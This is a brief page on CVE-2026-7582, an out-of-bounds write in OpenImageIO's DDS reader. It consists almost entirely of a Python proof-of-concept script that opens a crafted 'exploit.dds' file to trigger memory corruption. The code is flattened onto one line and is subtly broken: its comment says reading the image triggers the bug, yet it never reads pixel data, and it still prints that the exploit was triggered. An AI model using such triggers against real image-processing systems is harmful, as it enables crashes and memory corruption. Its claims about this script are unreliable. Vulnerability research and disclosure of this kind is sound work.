CVE-2026-7582 OpenImageIO越界写入漏洞

import OpenImageIO as oiio import sys # PoC to trigger out-of-bounds write in OpenImageIO <= 3.2.0.1-dev # Usage: Place a maliciously crafted 'exploit.dds' file in the same directory. def trigger_vulnerability(filepath): try: # Attempt to open the malicious DDS file input_img = oiio.ImageInput.open(filepath) if input_img: print(f"[+] Opened file: {filepath}") spec = input_img.spec() print(f"[+] Image Spec: {spec.width}x{spec.height}, channels: {spec.nchannels}") # Reading the image triggers the vulnerable code in ddsinput.cpp input_img.close() print("[+] Exploit triggered (check for crash or memory corruption)") else: print("[-] Failed to open image input") except Exception as e: print(f"[-] Exception occurred: {e}") if __name__ == "__main__": trigger_vulnerability("exploit.dds")